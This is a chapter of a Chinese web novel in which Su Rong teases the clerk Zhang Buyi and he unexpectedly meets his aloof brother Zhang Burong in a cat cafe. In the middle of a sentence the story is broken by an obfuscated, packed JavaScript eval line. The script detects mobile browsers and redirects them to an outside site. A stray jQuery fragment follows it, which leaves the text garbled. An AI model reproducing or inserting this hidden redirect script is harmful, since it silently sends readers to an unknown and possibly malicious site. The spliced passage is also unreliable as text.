看着张不易骤然绷紧的面皮,一脸肃然替他家老大正名的小模样,苏绒一个没忍住,笑意从喉咙里轻快地跳了出来。
少女清澈的杏眼弯成了好看的月牙儿,带着点故意使坏的小狡黠,她轻轻歪了歪头,纤长的指尖饶有兴味地点了点摊在柜台上那张字帖,尾音拉得悠悠长长。
“怎么着,张录事?”
“你家林大人知道你这么……仰慕他么?”
那两个字被特意加重,张不易脑子里嗡的一声炸开锅。
仰慕?
坏了,完了完了完了!
这两个字撞在一起……怎么越想越不是味儿了?
为什么他总在苏小娘面前出这种说不清道不明还越描越黑的岔子?廷尉衙门的脸面……他捂都捂不住了啊!
他还指着靠这份体面工作攒老婆本呢……
一股社死的恐慌瞬间攫紧了他,张小伙那薄如蝉翼的面皮,瞬间红得像蒸锅里刚冒热气儿的醉虾。
他猛地连连摆手,舌头仿佛打了十八个死结,声音都抖了起来。
“不…不是!苏小娘你…你弄岔了!”
“我我我…我对老大…那是敬重!敬重!纯粹的上峰!纯粹的佩服!是…是……”
他是了半天,也没是出个所以然来,急得额角青筋突突直跳,鼻尖冒出一层细汗。
苏绒看着他这副手足无措、语无伦次、恨不能当场刨个地洞把自己埋了的可怜相,心头那点小小的恶趣味像被风吹散的蒲公英,瞬间散了个干净,反倒生出一丝欺负老实人的罪恶感。
哎呀,原本还想再逗逗这位实心眼的张小录事,此刻倒真有点不忍了。
少女轻轻抿了下唇,将唇边还残留的笑意悄然敛去,眼神宛若一泓温和的静水,主动替他截断了那已经乱成一团麻的辩解。
“好了好了,知道啦,是敬重,纯粹得很!方才逗你玩呢,别当真。”
她的声音放得柔和又平稳,带着安抚的意味,这才将刚才那点小小的尴尬抚平。
看张不易被她这句话抚平了一点炸毛,苏绒才不着痕迹地顺着最关心的林砚往下说。
“说起来,”她目光转向那本饱含飒沓之气的字帖,指尖滑过纸面,“林大人不是出身农家么?真有这回事?”
这字,这传闻,反差也太大了点吧?
见少女清亮的眸子里露出真实的询问,张不易那颗狂跳得快要罢工的心脏总算稍稍落回了点原处,长长舒了口气。
终于能聊回正事了,跟苏小娘聊天就应该算工伤!
“我也是偶尔听署里几位老前辈提过几耳朵,说老大他年轻那会儿,在老家那片儿,最是容不得仗势欺人的腌臜事。”
张不易顿了顿,似乎在脑海中勾勒那些听来的场景,眼神带着点回味的亮光。
“遇上豪强欺压乡里,或者地痞混混作恶,不管对方多少人,什么背景,他认准了理儿,然后就敢直接抄家伙上。”
“都说林大人身手极好,人也仗义,护住了不少被欺压的乡亲呢。”
苏绒听得专注又入神。
在她眼中,林砚的形象素来与“沉稳持重”、“高岭之花”画上等号,这样的一个人,居然曾经是个“路见不平抄家伙就上”的热血莽…
咳,率性少年?
她几乎能脑补出那个画面:一个眉眼间隐有林砚轮廓、却更显青涩锐利的少年,眼神像淬了火的刀子,飞扬跳脱,二话不说抄起手边的家伙什就冲进人堆……
这鲜活却陌生的画面与她熟知的沉默的男人重合在一起,反差大得让她心绪翻涌。
一时竟说不出话来,只下意识地将那个最震撼的动作轻念出声,带着点难以置信:
“抄起家伙…就上了?”
“可不是!”
张不易双眼放光,眼看就要滔滔不绝地继续爆料,少女眼角余光却瞥见一个人影自柜台深处无声地踱了出来。
正是那位本该“专心整理杂物”的张不容,张大先生。
她眉头微微一挑,心下掠过一丝愕然。
啥情况?
这人刚才不是还演伙计演得好端端的么?这会儿怎么自个儿大大方方现身了?
不合理啊!
苏绒心里正嘀咕着这突如其来的变故,还未及细想,一声不敢置信的呼唤却忽然响起。
“……哥?”
苏绒立刻循声扭头看向张不易。
这一看,连她都不由得怔住了。
张小录事嘴还半张着,整个人却如同被施了定身咒一样傻在原地。
脸上那点子八卦的表情也霎时褪得干干净净,只剩下一脸懵逼。
我是谁?我在哪儿?我这是看到了谁?
但那短暂的呆滞仅持续了瞬息,一丝毫不作伪的惊喜迅速点亮了小录事的眸底。
谈不上有多热烈,但也透着重逢的温暖和熟稔,仿佛找到了主心骨。
“哥?真是你啊?”
他声音里还带着点没完全褪去的惊愕,但更多的是确认后的轻松,脚下已不自觉上前,一把拽着自家哥哥的袖子,嘴里一迭声地就发动了。
“前些日子娘还跟我问你呢,爹嘴上不说,喝多了也念叨。”
他语速越说越快,恨不得把爹娘的叮嘱一股脑儿倒干净,一边努力在脑子里扒拉老娘的具体安排,一边眼巴巴地望着自家哥哥。
“你最近忙不忙?下次我排上休沐的假,哥你能不能也抽个空,一起回趟家?娘老挂念了,还说要托人给你相看几位贤惠持家的小娘子……”
张不容,张不易,她早该想到的!
苏绒只是很惊讶张不容这家伙原来有家,还有这么个实心眼,兼职催婚的亲弟弟。
想想他之前给雪姑编的那版稿子,字字泣血,惨绝人寰,悲情得活像他自个儿就刚从冰天雪地里被挖出来似的……
敢情全是艺术加工啊!
编剧的嘴,骗人的鬼!
只能说一物降一物,这多少年一遇的腹黑才子,如今被困在自家弟弟的碎碎念里,脱身不得……
苏绒瞥着张不易那张叭叭叭停不下来的嘴,再瞟一眼张不容那副“生人勿近、熟人……烦请闭嘴”的微表情,心头的天平不知不觉竟微妙地朝他倾斜了点儿,生出一丝同情。
给这么能絮叨、还兼职婚介所的弟弟当哥……也挺不容易的哈?
少女嘴角轻牵了下,刚想开口打个圆场,把张小录事从催婚频道拉回来,话还未出口,张不容就再也忍不住了。
他脸上最后一点名为“耐心”的表情都已然蒸发殆尽。
只眼皮微微向上掀了一掀,那目光平静无波地掠过眼前这傻孩子,底下却隐隐翻涌着点令人心头发毛的寒光。
张不易也准确地捕捉到了这一抹光,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716421|173731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后半截话立刻卡死在了嘴里,只半张着嘴,满眼的期盼也化作了一脸委屈,傻乎乎地与自家大哥那深不见底的眸子对视。
猫馆里只剩下小咪舔爪子的窸窣声,以及来自某大哥身上若有若无的杀气。
张不容的目光在自家弟弟那张写满“哥我都是为了你好”的傻白甜脸上,停留了令人窒息的一瞬。
终于从胸腔深处缓缓吁出一口无声的,仿佛能冻住空气的叹息。
随即薄唇微启,语气平铺直叙得毫无起伏,但每个字都像淬了毒的钉子。
“少说话,傻乎乎的。”
张不容这话音落下得不轻不重,却像按在了某个无形的开关上。
“啊?”
张不易喉间挤出一个短促又茫然的单音节,整个人都傻住了。
我哥说我傻?可…好像…他说的也没毛病?我是不是真有点傻?
这点稀里糊涂的自我认知和张不容那清晰的定论搅在一起,瞬间淹没了他的思考能力。
张小伙傻愣愣地半张着嘴,眼神直直地看着自家大哥那张写满嫌弃的脸,半晌都没回过神来。
张不易:哥哥,阿巴阿巴。
张不容看惯了弟弟这副呆样,眼皮都没多抬一下,接下来的话里便自然地带上了一丝“赶紧消失”的不耐烦。
“还不忙你的去?”
“哦哦哦!”
这五个字戳醒了张不易的迟钝,他那张脸上还糊着点茫然,却几乎是本能地点头应道。
恰在此时,那两个在猫馆角落记录完毕的内史皂吏也捧着卷宗簿册走回门边,安静地朝他点了点头,示意巡查任务已完成。
这台阶递的太舒服了!
张不易如同看到了救星,立刻将目光移向苏绒,也没细看她的表情,只是很自然地、带着点仓促地朝她点了个头。
声音恢复了那么点公门小吏的规矩,但语速依旧快得像逃命。
“苏小娘,巡查已毕,我等告辞。”
说完,他根本不敢再看自家哥和苏绒脸上可能存在的任何表情,立刻朝那两位同样有点摸不着头脑的同僚使了个“风紧扯呼”的眼色。
“走走走!”
随即略显仓促地领着头,带着两位同僚,脚底抹油般快速闪出了猫馆大门。
馆内于是重归寂静,张不容仿佛瞬间就卸下了千斤的重担。
他随手弹了下素净的袖口,转过身面向苏绒时,唇角那抹人畜无害的笑意已然无缝回归,神情坦荡得像刚才那场“兄弟相认”的戏码从未发生过。
然后几步走回苏绒跟前,声音里听不出半分方才的波澜,只有一贯的随意轻松。
“稿子,我回去改了就带过来。”
苏绒:“……”
不是,这个人是怎么能表现的跟什么都没发生一样的?
他不需要解释一下嘛?
难道真是张不易那小子在他哥面前出糗的次数太多了,多到张不容已经麻木到可以一键切换了?
她看着他这副完全揭过不提的样子,再瞥见他身后空无一人的门口,心头那股荒诞又好笑的感觉就直直地往上冲,憋得她差点内伤。
少女指尖用力掐了下掌心,绷紧唇角压住上翘的弧度,借着垂眸看字帖的动作掩饰神色,声音放稳,努力也学着张不容的样子表现的若无其事。
“……好,辛苦…先生了。”